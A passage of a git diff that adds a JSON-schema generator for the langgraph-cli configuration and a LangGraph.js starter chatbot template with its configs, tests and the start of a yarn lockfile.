"^3.9.0,<4.0" +content-hash = "ec5109729f30d2033a10a10e8f8d3ed94c7d96d5d31025b4815b0123664bb063" diff --git a/libs/cli/examples/pyproject.toml b/libs/cli/examples/pyproject.toml new file mode 100644 index 0000000..c8dd2d7 --- /dev/null +++ b/libs/cli/examples/pyproject.toml @@ -0,0 +1,21 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "langgraph-examples" +version = "0.1.0" +description = "" +readme = "README.md" +requires-python = ">=3.10" +dependencies = [ + "langgraph-cli", + "langgraph-sdk", +] + +[tool.uv.sources] +langgraph-cli = { path = "../cli", editable = true } +langgraph-sdk = { path = "../sdk_py", editable = true } + +[tool.hatch.build] +packages = [] diff --git a/libs/cli/generate_schema.py b/libs/cli/generate_schema.py new file mode 100644 index 0000000..7504969 --- /dev/null +++ b/libs/cli/generate_schema.py @@ -0,0 +1,296 @@ +#!/usr/bin/env python3 +""" +Script to generate a JSON schema for the langgraph-cli Config class. + +This script creates a schema.json file that can be referenced in langgraph.json files +to provide IDE autocompletion and validation. +""" + +import inspect +import json +import textwrap +from pathlib import Path + +import msgspec + +from langgraph_cli.schemas import ( + AuthConfig, + CacheConfig, + CheckpointerConfig, + Config, + ConfigurableHeaderConfig, + CorsConfig, + GraphDef, + HttpConfig, + IndexConfig, + SecurityConfig, + SerdeConfig, + StoreConfig, + ThreadTTLConfig, + TTLConfig, + WebhooksConfig, + WebhookUrlPolicy, +) + + +def add_descriptions_to_schema(schema, cls): + """Add docstring descriptions to the schema properties.""" + if schema.get("description"): + schema["description"] = inspect.cleandoc(schema["description"]) + elif class_doc := inspect.getdoc(cls): + schema["description"] = inspect.cleandoc(class_doc) + # Get attribute docstrings from the class + attr_docs = {} + + # Also check class annotations for docstrings + source_lines = inspect.getsourcelines(cls)[0] + current_attr = None + docstring_lines = [] + + for line in source_lines: + line = line.strip() + + # Check for attribute definition (TypedDict style) + if ":" in line and not line.startswith("#") and not line.startswith('"""'): + parts = line.split(":", 1) + if len(parts) == 2 and parts[0].strip().isidentifier(): + # If we were collecting a docstring, save it for the previous attribute + if current_attr and docstring_lines: + attr_docs[current_attr] = "\n".join(docstring_lines).strip('"') + docstring_lines = [] + + current_attr = parts[0].strip() + + # Check for docstring after attribute + elif line.startswith('"""') and current_attr: + # Start or end of a docstring + if len(line) > 3 and line.endswith('"""'): + # Single line docstring + attr_docs[current_attr] = line.strip('"') + current_attr = None + elif docstring_lines: + # End of multi-line docstring + docstring_lines.append(line.rstrip('"')) + attr_docs[current_attr] = "\n".join(docstring_lines).strip('"') + docstring_lines = [] + current_attr = None + else: + # Start of multi-line docstring + docstring_lines.append(line.lstrip('"')) + + # Continue multi-line docstring + elif docstring_lines and current_attr: + docstring_lines.append(line.strip('"')) + + # Add the last docstring if there is one + if current_attr and docstring_lines: + attr_docs[current_attr] = "\n".join(docstring_lines).strip('"') + + # Add descriptions to properties + if "properties" in schema: + for prop_name, prop_schema in schema["properties"].items(): + # First try to get from attribute docstrings + if prop_name in attr_docs and "description" not in prop_schema: + prop_schema["description"] = textwrap.dedent(attr_docs[prop_name]) + # Fall back to class docstring parsing + elif class_doc: + for line in class_doc.split("\n"): + if line.strip().startswith( + f"{prop_name}:" + ) or line.strip().startswith(f'"{prop_name}"'): + description = line.split(":", 1)[1].strip() + if description and "description" not in prop_schema: + prop_schema["description"] = description + break + + # Recursively process nested definitions + if "$defs" in schema: + for def_name, def_schema in schema["$defs"].items(): + # Find the class that corresponds to this definition + for potential_cls in [ + Config, + GraphDef, + StoreConfig, + IndexConfig, + AuthConfig, + SecurityConfig, + HttpConfig, + CorsConfig, + CacheConfig, + ThreadTTLConfig, + CheckpointerConfig, + SerdeConfig, + TTLConfig, + ConfigurableHeaderConfig, + WebhooksConfig, + WebhookUrlPolicy, + ]: + if potential_cls.__name__ == def_name: + add_descriptions_to_schema(def_schema, potential_cls) + break + + return schema + + +def generate_schema(): + """Generate a JSON schema for the Config class using msgspec.""" + # Generate the basic schema + schema = msgspec.json.schema(Config) + + # Add title and description + schema["title"] = "LangGraph CLI Configuration" + schema["description"] = "Configuration schema for langgraph-cli" + + # Add docstring descriptions + schema = add_descriptions_to_schema(schema, Config) + + # Add constraint that only one of python_version or node_version should be specified + config_schema = schema["$defs"]["Config"] + + # Create two subschemas: one with python_version and one with node_version + # Define properties specific to Python projects + python_specific_props = ["python_version", "pip_config_file"] + # Define properties specific to Node.js projects + node_specific_props = ["node_version"] + # Define properties common to both project types + common_props = [ + k + for k in config_schema["properties"] + if k not in python_specific_props and k not in node_specific_props + ] + + # Create legacy Python schema with python_version and pip_config_file + legacy_python_schema = { + "type": "object", + "properties": { + # Include Python-specific properties + **{k: config_schema["properties"][k].copy() for k in python_specific_props}, + # Include common properties + **{k: config_schema["properties"][k].copy() for k in common_props}, + }, + "required": ["dependencies", "graphs"], + } + legacy_python_schema["properties"]["pip_installer"] = { + "anyOf": [ + {"type": "string", "enum": ["auto", "pip", "uv"]}, + {"type": "null"}, + ] + } + + uv_source_python_schema = { + "type": "object", + "properties": { + **{ + k: config_schema["properties"][k].copy() + for k in python_specific_props + common_props + }, + }, + "required": ["graphs", "source"], + } + # source must be a UvSource object (not null) + uv_source_python_schema["properties"]["source"] = {"$ref": "#/$defs/UvSource"} + uv_source_python_schema["properties"]["pip_installer"] = { + "anyOf": [ + {"type": "string", "enum": ["auto", "pip", "uv"]}, + {"type": "null"}, + ] + } + + # Add enum constraint for python_version + if "python_version" in legacy_python_schema["properties"]: + legacy_python_schema["properties"]["python_version"]["enum"] = [ + "3.11", + "3.12", + "3.13", + ] + if "python_version" in uv_source_python_schema["properties"]: + uv_source_python_schema["properties"]["python_version"]["enum"] = [ + "3.11", + "3.12", + "3.13", + ] + + # Create Node.js schema with node_version + node_schema = { + "type": "object", + "properties": { + # Include Node-specific properties + **{k: config_schema["properties"][k].copy() for k in node_specific_props}, + # Include common properties + **{k: config_schema["properties"][k].copy() for k in common_props}, + }, + "required": ["node_version", "graphs"], + } + node_schema["properties"]["pip_installer"] = { + "anyOf": [ + {"type": "string", "enum": ["auto", "pip", "uv"]}, + {"type": "null"}, + ] + } + + # Add enum constraint for node_version + if "node_version" in node_schema["properties"]: + node_schema["properties"]["node_version"]["anyOf"] = [ + {"type": "string", "enum": ["20"]}, + {"type": "null"}, + ] + + # Add enum constraint for image_distro + if "image_distro" in node_schema["properties"]: + node_schema["properties"]["image_distro"]["anyOf"] = [ + {"type": "string", "enum": ["debian", "wolfi"]}, + {"type": "null"}, + ] + + # Replace the Config schema with a oneOf constraint + config_schema["oneOf"] = [ + legacy_python_schema, + uv_source_python_schema, + node_schema, + ] + + # Remove the properties field as it's now defined in the oneOf subschemas + if "properties" in config_schema: + del config_schema["properties"] + + return schema + + +def main(): + """Generate the schema and write it to a file.""" + schema = generate_schema() + + # Add versioning to the schema + import importlib.metadata + + try: + version = importlib.metadata.version("langgraph_cli").split(".") + schema_version = f"v{version[0]}" + except importlib.metadata.PackageNotFoundError: + schema_version = "v1" + + # Add version to schema + schema["version"] = schema_version + + config_dir = Path(__file__).parent / "schemas" + + # Create versioned schema file + versioned_path = config_dir / f"schema.{schema_version}.json" + with open(versioned_path, "w") as f: + json.dump(schema, f, indent=2) + + # Also create a latest version + latest_path = config_dir / "schema.json" + with open(latest_path, "w") as f: + json.dump(schema, f, indent=2) + + print(f"Schema written to {versioned_path} and {latest_path}") + print( + f"You can now add '$schema: https://raw.githubusercontent.com/langchain-ai/langgraph/refs/heads/main/libs/cli/schemas/schema.json'" + f" or '$schema: https://raw.githubusercontent.com/langchain-ai/langgraph/refs/heads/main/libs/cli/schemas/schema.{schema_version}.json'" + " to your langgraph.json files" + ) + + +if __name__ == "__main__": + main() diff --git a/libs/cli/js-examples/.dockerignore b/libs/cli/js-examples/.dockerignore new file mode 100644 index 0000000..76add87 --- /dev/null +++ b/libs/cli/js-examples/.dockerignore @@ -0,0 +1,2 @@ +node_modules +dist \ No newline at end of file diff --git a/libs/cli/js-examples/.env.example b/libs/cli/js-examples/.env.example new file mode 100644 index 0000000..1f381d1 --- /dev/null +++ b/libs/cli/js-examples/.env.example @@ -0,0 +1,3 @@ +# Copy this over: +# cp .env.example .env +# Then modify to suit your needs \ No newline at end of file diff --git a/libs/cli/js-examples/.eslintrc.cjs b/libs/cli/js-examples/.eslintrc.cjs new file mode 100644 index 0000000..da4c3ec --- /dev/null +++ b/libs/cli/js-examples/.eslintrc.cjs @@ -0,0 +1,62 @@ +module.exports = { + extends: [ + "eslint:recommended", + "prettier", + "plugin:@typescript-eslint/recommended", + ], + parserOptions: { + ecmaVersion: 12, + parser: "@typescript-eslint/parser", + project: "./tsconfig.json", + sourceType: "module", + }, + plugins: ["import", "@typescript-eslint", "no-instanceof"], + ignorePatterns: [ + ".eslintrc.cjs", + "scripts", + "src/utils/lodash/*", + "node_modules", + "dist", + "dist-cjs", + "*.js", + "*.cjs", + "*.d.ts", + ], + rules: { + "no-process-env": 2, + "no-instanceof/no-instanceof": 2, + "@typescript-eslint/explicit-module-boundary-types": 0, + "@typescript-eslint/no-empty-function": 0, + "@typescript-eslint/no-shadow": 0, + "@typescript-eslint/no-empty-interface": 0, + "@typescript-eslint/no-use-before-define": ["error", "nofunc"], + "@typescript-eslint/no-unused-vars": ["warn", { args: "none" }], + "@typescript-eslint/no-floating-promises": "error", + "@typescript-eslint/no-misused-promises": "error", + camelcase: 0, + "class-methods-use-this": 0, + "import/extensions": [2, "ignorePackages"], + "import/no-extraneous-dependencies": [ + "error", + { devDependencies: ["**/*.test.ts"] }, + ], + "import/no-unresolved": 0, + "import/prefer-default-export": 0, + "keyword-spacing": "error", + "max-classes-per-file": 0, + "max-len": 0, + "no-await-in-loop": 0, + "no-bitwise": 0, + "no-console": 0, + "no-restricted-syntax": 0, + "no-shadow": 0, + "no-continue": 0, + "no-underscore-dangle": 0, + "no-use-before-define": 0, + "no-useless-constructor": 0, + "no-return-await": 0, + "consistent-return": 0, + "no-else-return": 0, + "new-cap": ["error", { properties: false, capIsNew: false }], + }, +}; diff --git a/libs/cli/js-examples/.gitignore b/libs/cli/js-examples/.gitignore new file mode 100644 index 0000000..e5363cc --- /dev/null +++ b/libs/cli/js-examples/.gitignore @@ -0,0 +1,19 @@ +index.cjs +index.js +index.d.ts +node_modules +dist +.yarn/* +!.yarn/patches +!.yarn/plugins +!.yarn/releases +!.yarn/sdks +!.yarn/versions + +.turbo +**/.turbo +**/.eslintcache + +.env +.ipynb_checkpoints + diff --git a/libs/cli/js-examples/LICENSE b/libs/cli/js-examples/LICENSE new file mode 100644 index 0000000..57d0481 --- /dev/null +++ b/libs/cli/js-examples/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 LangChain + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/libs/cli/js-examples/README.md b/libs/cli/js-examples/README.md new file mode 100644 index 0000000..5130cd4 --- /dev/null +++ b/libs/cli/js-examples/README.md @@ -0,0 +1,83 @@ +# New LangGraph.js Project + +[![CI](https://github.com/langchain-ai/new-langgraphjs-project/actions/workflows/unit-tests.yml/badge.svg)](https://github.com/langchain-ai/new-langgraphjs-project/actions/workflows/unit-tests.yml) +[![Integration Tests](https://github.com/langchain-ai/new-langgraphjs-project/actions/workflows/integration-tests.yml/badge.svg)](https://github.com/langchain-ai/new-langgraphjs-project/actions/workflows/integration-tests.yml) +[![Open in - LangGraph Studio](https://img.shields.io/badge/Open_in-LangGraph_Studio-00324d.svg?logo=data:image/svg%2bxml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI4NS4zMzMiIGhlaWdodD0iODUuMzMzIiB2ZXJzaW9uPSIxLjAiIHZpZXdCb3g9IjAgMCA2NCA2NCI+PHBhdGggZD0iTTEzIDcuOGMtNi4zIDMuMS03LjEgNi4zLTYuOCAyNS43LjQgMjQuNi4zIDI0LjUgMjUuOSAyNC41QzU3LjUgNTggNTggNTcuNSA1OCAzMi4zIDU4IDcuMyA1Ni43IDYgMzIgNmMtMTIuOCAwLTE2LjEuMy0xOSAxLjhtMzcuNiAxNi42YzIuOCAyLjggMy40IDQuMiAzLjQgNy42cy0uNiA0LjgtMy40IDcuNkw0Ny4yIDQzSDE2LjhsLTMuNC0zLjRjLTQuOC00LjgtNC44LTEwLjQgMC0xNS4ybDMuNC0zLjRoMzAuNHoiLz48cGF0aCBkPSJNMTguOSAyNS42Yy0xLjEgMS4zLTEgMS43LjQgMi41LjkuNiAxLjcgMS44IDEuNyAyLjcgMCAxIC43IDIuOCAxLjYgNC4xIDEuNCAxLjkgMS40IDIuNS4zIDMuMi0xIC42LS42LjkgMS40LjkgMS41IDAgMi43LS41IDIuNy0xIDAtLjYgMS4xLS44IDIuNi0uNGwyLjYuNy0xLjgtMi45Yy01LjktOS4zLTkuNC0xMi4zLTExLjUtOS44TTM5IDI2YzAgMS4xLS45IDIuNS0yIDMuMi0yLjQgMS41LTIuNiAzLjQtLjUgNC4yLjguMyAyIDEuNyAyLjUgMy4xLjYgMS41IDEuNCAyLjMgMiAyIDEuNS0uOSAxLjItMy41LS40LTMuNS0yLjEgMC0yLjgtMi44LS44LTMuMyAxLjYtLjQgMS42LS41IDAtLjYtMS4xLS4xLTEuNS0uNi0xLjItMS42LjctMS43IDMuMy0yLjEgMy41LS41LjEuNS4yIDEuNi4zIDIuMiAwIC43LjkgMS40IDEuOSAxLjYgMi4xLjQgMi4zLTIuMy4yLTMuMi0uOC0uMy0yLTEuNy0yLjUtMy4xLTEuMS0zLTMtMy4zLTMtLjUiLz48L3N2Zz4=)](https://langgraph-studio.vercel.app/templates/open?githubUrl=https://github.com/langchain-ai/new-langgraphjs-project) + +This template demonstrates a simple chatbot implemented using [LangGraph.js](https://github.com/langchain-ai/langgraphjs), designed for [LangGraph Studio](https://github.com/langchain-ai/langgraph-studio). The chatbot maintains persistent chat memory, allowing for coherent conversations across multiple interactions. + +![Graph view in LangGraph studio UI](./static/studio.png) + +The core logic, defined in `src/agent/graph.ts`, showcases a straightforward chatbot that responds to user queries while maintaining context from previous messages. + +## 🤔 What is this? + +The simple chatbot: + +1. Takes a user **message** as input +2. Maintains a history of the conversation +3. Returns a placeholder response, updating the conversation history + +This template provides a foundation that can be easily customized and extended to create more complex conversational agents. + +## 📖 Documentation + +For JavaScript and TypeScript documentation, see the [LangGraph.js docs](https://docs.langchain.com/oss/javascript/langgraph/overview). LangGraph Studio also integrates with [LangSmith](https://smith.langchain.com/) for tracing and collaboration with teammates. + +## Getting Started + +Assuming you have already [installed LangGraph Studio](https://github.com/langchain-ai/langgraph-studio?tab=readme-ov-file#download), to set up: + +1. Create a `.env` file. This template does not require any environment variables by default, but you will likely want to add some when customizing. + +```bash +cp .env.example .env +``` + + + + + +2. Open the folder in LangGraph Studio! +3. Customize the code as needed. + +## How to customize + +1. **Add an LLM call**: You can select and install a chat model wrapper from [the LangChain.js ecosystem](https://js.langchain.com/docs/integrations/chat/), or use LangGraph.js without LangChain.js. +2. **Extend the graph**: The core logic of the chatbot is defined in [graph.ts](./src/agent/graph.ts). You can modify this file to add new nodes, edges, or change the flow of the conversation. + +You can also extend this template by: + +- Adding [custom tools or functions](https://js.langchain.com/docs/how_to/tool_calling) to enhance the chatbot's capabilities. +- Implementing additional logic for handling specific types of user queries or tasks. +- Add retrieval-augmented generation (RAG) capabilities by integrating [external APIs or databases](https://langchain-ai.github.io/langgraphjs/tutorials/rag/langgraph_agentic_rag/) to provide more customized responses. + +## Development + +While iterating on your graph, you can edit past state and rerun your app from previous states to debug specific nodes. Local changes will be automatically applied via hot reload. Try experimenting with: + +- Modifying the system prompt to give your chatbot a unique personality. +- Adding new nodes to the graph for more complex conversation flows. +- Implementing conditional logic to handle different types of user inputs. + +Follow-up requests will be appended to the same thread. You can create an entirely new thread, clearing previous history, using the `+` button in the top right. + +For more advanced features and examples, refer to the [LangGraph.js documentation](https://github.com/langchain-ai/langgraphjs). These resources can help you adapt this template for your specific use case and build more sophisticated conversational agents. + +LangGraph Studio also integrates with [LangSmith](https://smith.langchain.com/) for more in-depth tracing and collaboration with teammates, allowing you to analyze and optimize your chatbot's performance. + + diff --git a/libs/cli/js-examples/jest.config.js b/libs/cli/js-examples/jest.config.js new file mode 100644 index 0000000..9e89374 --- /dev/null +++ b/libs/cli/js-examples/jest.config.js @@ -0,0 +1,18 @@ +export default { + preset: "ts-jest/presets/default-esm", + moduleNameMapper: { + "^(\\.{1,2}/.*)\\.js$": "$1", + }, + transform: { + "^.+\\.tsx?$": [ + "ts-jest", + { + useESM: true, + }, + ], + }, + extensionsToTreatAsEsm: [".ts"], + setupFiles: ["dotenv/config"], + passWithNoTests: true, + testTimeout: 20_000, +}; diff --git a/libs/cli/js-examples/langgraph.json b/libs/cli/js-examples/langgraph.json new file mode 100644 index 0000000..79f2b36 --- /dev/null +++ b/libs/cli/js-examples/langgraph.json @@ -0,0 +1,9 @@ +{ + "$schema": "https://langgra.ph/schema.json", + "node_version": "20", + "graphs": { + "agent": "./src/agent/graph.ts:graph" + }, + "env": ".env", + "dependencies": ["."] +} diff --git a/libs/cli/js-examples/package.json b/libs/cli/js-examples/package.json new file mode 100644 index 0000000..a5c82cd --- /dev/null +++ b/libs/cli/js-examples/package.json @@ -0,0 +1,48 @@ +{ + "name": "example-graph", + "version": "0.0.1", + "description": "A starter template for creating a LangGraph workflow.", + "packageManager": "yarn@1.22.22", + "main": "my_app/graph.ts", + "author": "Your Name", + "license": "MIT", + "private": true, + "type": "module", + "scripts": { + "build": "tsc", + "clean": "rm -rf dist", + "test": "node --experimental-vm-modules node_modules/jest/bin/jest.js --testPathPattern=\\.test\\.ts$ --testPathIgnorePatterns=\\.int\\.test\\.ts$", + "test:int": "node --experimental-vm-modules node_modules/jest/bin/jest.js --testPathPattern=\\.int\\.test\\.ts$", + "format": "prettier --write .", + "lint": "eslint src", + "format:check": "prettier --check .", + "lint:langgraph-json": "node scripts/checkLanggraphPaths.js", + "lint:all": "yarn lint & yarn lint:langgraph-json & yarn format:check", + "test:all": "yarn test && yarn test:int && yarn lint:langgraph" + }, + "dependencies": { + "@langchain/core": "^1.2.1", + "@langchain/langgraph": "^1.4.7" + }, + "resolutions": { + "@langchain/langgraph-checkpoint": "1.0.4" + }, + "devDependencies": { + "@eslint/eslintrc": "^3.3.5", + "@eslint/js": "^10.0.1", + "@tsconfig/recommended": "^1.0.13", + "@types/jest": "^30.0.0", + "@typescript-eslint/eslint-plugin": "^8.62.1", + "@typescript-eslint/parser": "^8.62.1", + "dotenv": "^17.4.2", + "eslint": "^10.6.0", + "eslint-config-prettier": "^10.1.8", + "eslint-plugin-import": "^2.32.0", + "eslint-plugin-no-instanceof": "^1.0.1", + "eslint-plugin-prettier": "^5.5.6", + "jest": "^30.4.2", + "prettier": "^3.9.4", + "ts-jest": "^29.4.11", + "typescript": "^6.0.3" + } +} diff --git a/libs/cli/js-examples/src/agent/graph.ts b/libs/cli/js-examples/src/agent/graph.ts new file mode 100644 index 0000000..244f88e --- /dev/null +++ b/libs/cli/js-examples/src/agent/graph.ts @@ -0,0 +1,104 @@ +/** + * Starter LangGraph.js Template + * Make this code your own! + */ +import { StateGraph } from "@langchain/langgraph"; +import { RunnableConfig } from "@langchain/core/runnables"; +import { StateAnnotation } from "./state.js"; + +/** + * Define a node, these do the work of the graph and should have most of the logic. + * Must return a subset of the properties set in StateAnnotation. + * @param state The current state of the graph. + * @param config Extra parameters passed into the state graph. + * @returns Some subset of parameters of the graph state, used to update the state + * for the edges and nodes executed next. + */ +const callModel = async ( + state: typeof StateAnnotation.State, + _config: RunnableConfig, +): Promise => { + /** + * Do some work... (e.g. call an LLM) + * For example, with LangChain you could do something like: + * + * ```bash + * $ npm i @langchain/anthropic + * ``` + * + * ```ts + * import { ChatAnthropic } from "@langchain/anthropic"; + * const model = new ChatAnthropic({ + * model: "claude-3-5-sonnet-20240620", + * apiKey: process.env.ANTHROPIC_API_KEY, + * }); + * const res = await model.invoke(state.messages); + * ``` + * + * Or, with an SDK directly: + * + * ```bash + * $ npm i openai + * ``` + * + * ```ts + * import OpenAI from "openai"; + * const openai = new OpenAI({ + * apiKey: process.env.OPENAI_API_KEY, + * }); + * + * const chatCompletion = await openai.chat.completions.create({ + * messages: [{ + * role: state.messages[0]._getType(), + * content: state.messages[0].content, + * }], + * model: "gpt-4o-mini", + * }); + * ``` + */ + console.log("Current state:", state); + return { + messages: [ + { + role: "assistant", + content: `Hi there! How are you?`, + }, + ], + }; +}; + +/** + * Routing function: Determines whether to continue research or end the builder. + * This function decides if the gathered information is satisfactory or if more research is needed. + * + * @param state - The current state of the research builder + * @returns Either "callModel" to continue research or END to finish the builder + */ +export const route = ( + state: typeof StateAnnotation.State, +): "__end__" | "callModel" => { + if (state.messages.length > 0) { + return "__end__"; + } + // Loop back + return "callModel"; +}; + +// Finally, create the graph itself. +const builder = new StateGraph(StateAnnotation) + // Add the nodes to do the work. + // Chaining the nodes together in this way + // updates the types of the StateGraph instance + // so you have static type checking when it comes time + // to add the edges. + .addNode("callModel", callModel) + // Regular edges mean "always transition to node B after node A is done" + // The "__start__" and "__end__" nodes are "virtual" nodes that are always present + // and represent the beginning and end of the builder. + .addEdge("__start__", "callModel") + // Conditional edges optionally route to different nodes (or end) + .addConditionalEdges("callModel", route); + +export const graph = builder.compile(); + +graph.name = "New Agent"; diff --git a/libs/cli/js-examples/src/agent/state.ts b/libs/cli/js-examples/src/agent/state.ts new file mode 100644 index 0000000..6f79634 --- /dev/null +++ b/libs/cli/js-examples/src/agent/state.ts @@ -0,0 +1,59 @@ +import { BaseMessage, BaseMessageLike } from "@langchain/core/messages"; +import { Annotation, messagesStateReducer } from "@langchain/langgraph"; + +/** + * A graph's StateAnnotation defines three main things: + * 1. The structure of the data to be passed between nodes (which "channels" to read from/write to and their types) + * 2. Default values for each field + * 3. Reducers for the state's. Reducers are functions that determine how to apply updates to the state. + * See [Reducers](https://langchain-ai.github.io/langgraphjs/concepts/low_level/#reducers) for more information. + */ + +// This is the primary state of your agent, where you can store any information +export const StateAnnotation = Annotation.Root({ + /** + * Messages track the primary execution state of the agent. + * + * Typically accumulates a pattern of: + * + * 1. HumanMessage - user input + * 2. AIMessage with .tool_calls - agent picking tool(s) to use to collect + * information + * 3. ToolMessage(s) - the responses (or errors) from the executed tools + * + * (... repeat steps 2 and 3 as needed ...) + * 4. AIMessage without .tool_calls - agent responding in unstructured + * format to the user. + * + * 5. HumanMessage - user responds with the next conversational turn. + * + * (... repeat steps 2-5 as needed ... ) + * + * Merges two lists of messages or message-like objects with role and content, + * updating existing messages by ID. + * + * Message-like objects are automatically coerced by `messagesStateReducer` into + * LangChain message classes. If a message does not have a given id, + * LangGraph will automatically assign one. + * + * By default, this ensures the state is "append-only", unless the + * new message has the same ID as an existing message. + * + * Returns: + * A new list of messages with the messages from \`right\` merged into \`left\`. + * If a message in \`right\` has the same ID as a message in \`left\`, the + * message from \`right\` will replace the message from \`left\`.` + */ + messages: Annotation({ + reducer: messagesStateReducer, + default: () => [], + }), + /** + * Feel free to add additional attributes to your state as needed. + * Common examples include retrieved documents, extracted entities, API connections, etc. + * + * For simple fields whose value should be overwritten by the return value of a node, + * you don't need to define a reducer or default. + */ + // additionalField: Annotation, +}); diff --git a/libs/cli/js-examples/static/studio.png b/libs/cli/js-examples/static/studio.png new file mode 100644 index 0000000..5338518 Binary files /dev/null and b/libs/cli/js-examples/static/studio.png differ diff --git a/libs/cli/js-examples/tests/agent.test.ts b/libs/cli/js-examples/tests/agent.test.ts new file mode 100644 index 0000000..d2948bb --- /dev/null +++ b/libs/cli/js-examples/tests/agent.test.ts @@ -0,0 +1,8 @@ +import { describe, it, expect } from "@jest/globals"; +import { route } from "../src/agent/graph.js"; +describe("Routers", () => { + it("Test route", async () => { + const res = route({ messages: [] }); + expect(res).toEqual("callModel"); + }, 100_000); +}); diff --git a/libs/cli/js-examples/tests/graph.int.test.ts b/libs/cli/js-examples/tests/graph.int.test.ts new file mode 100644 index 0000000..a05978f --- /dev/null +++ b/libs/cli/js-examples/tests/graph.int.test.ts @@ -0,0 +1,18 @@ +import { describe, it, expect } from "@jest/globals"; +import { graph } from "../src/agent/graph.js"; + +describe("Graph", () => { + it("should process input through the graph", async () => { + const input = "What is the capital of France?"; + const result = await graph.invoke({ input }); + + expect(result).toBeDefined(); + expect(typeof result).toBe("object"); + expect(result.messages).toBeDefined(); + expect(Array.isArray(result.messages)).toBe(true); + expect(result.messages.length).toBeGreaterThan(0); + + const lastMessage = result.messages[result.messages.length - 1]; + expect(lastMessage.content.toString().toLowerCase()).toContain("hi"); + }, 30000); // Increased timeout to 30 seconds +}); diff --git a/libs/cli/js-examples/tsconfig.json b/libs/cli/js-examples/tsconfig.json new file mode 100644 index 0000000..6e51abd --- /dev/null +++ b/libs/cli/js-examples/tsconfig.json @@ -0,0 +1,25 @@ +{ + "extends": "@tsconfig/recommended", + "compilerOptions": { + "target": "ES2021", + "lib": ["ES2021", "ES2022.Object", "DOM"], + "module": "NodeNext", + "moduleResolution": "nodenext", + "esModuleInterop": true, + "noImplicitReturns": true, + "declaration": true, + "noFallthroughCasesInSwitch": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "useDefineForClassFields": true, + "strictPropertyInitialization": false, + "allowJs": true, + "strict": true, + "strictFunctionTypes": false, + "outDir": "dist", + "types": ["jest", "node"], + "resolveJsonModule": true + }, + "include": ["**/*.ts", "**/*.js"], + "exclude": ["node_modules", "dist"] +} diff --git a/libs/cli/js-examples/yarn.lock b/libs/cli/js-examples/yarn.lock new file mode 100644 index 0000000..c6f4247 --- /dev/null +++ b/libs/cli/js-examples/yarn.lock @@ -0,0 +1,4955 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + + +"@babel/code-frame@^7.0.0": + version "7.24.7" + resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.24.7.tgz#882fd9e09e8ee324e496bd040401c6f046ef4465" + integrity sha512-BcYH1CVJBO9tvyIZ2jVeXgSIMvGZ2FDRvDdOIVQyuklNKSsx+eppDEBq/g47Ayw+RqNFE+URvOShmf+f/qwAlA== + dependencies: + "@babel/highlight" "^7.24.7" + picocolors "^1.0.0" + +"@babel/code-frame@^7.27.1": + version "7.29.0" + resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.29.0.tgz#7cd7a59f15b3cc0dcd803038f7792712a7d0b15c" + integrity sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw== + dependencies: + "@babel/helper-validator-identifier" "^7.28.5" + js-tokens "^4.0.0" + picocolors "^1.1.1" + +"@babel/code-frame@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.29.7.tgz#f2fbbfea87c44a21590ec515b778b2c26d8866e7" + integrity sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw== + dependencies: + "@babel/helper-validator-identifier" "^7.29.7" + js-tokens "^4.0.0" + picocolors "^1.1.1" + +"@babel/compat-data@^7.29.7": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.29.7.tgz#6f0237f0f36d2e51c0570a636faed9d2d0efe629" + integrity sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg== + +"@babel/core@^7.23.9", "@babel/core@^7.27.4": + version "7.29.7" + resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.29.7.tgz#80c10b17248082968b57a857b91640971f2070f7" + integrity sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA== + dependencies: + "@babel/code-frame" "^7.29.7" + "@babel/generator" "^7.29.7" + "@babel/helper-compilation-targets" "^7.29.7" + "@babel/helper-module-transforms" "^7.29.7" + "@babel/helpers" "^7.29.7" + "@babel/parser" "^7.29.7" + "@babel/template" "^7.29.7" + "@babel/traverse" "^7.29.7" + "@babel/types" "^7.29.7" + "@jridgewell/remapping" "^2.3.5" + convert-source-map "^2.0.0" + debug "^4.1.0" + gensync "^1.0.0-beta.2" + json5 "^2.2.3" + semver "^6.3.1" + +"@babel/generator@^7.27.5": + version "7.29.1" + resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.29.1.tgz#d09876290111abbb00ef962a7b83a5307fba0d50" + 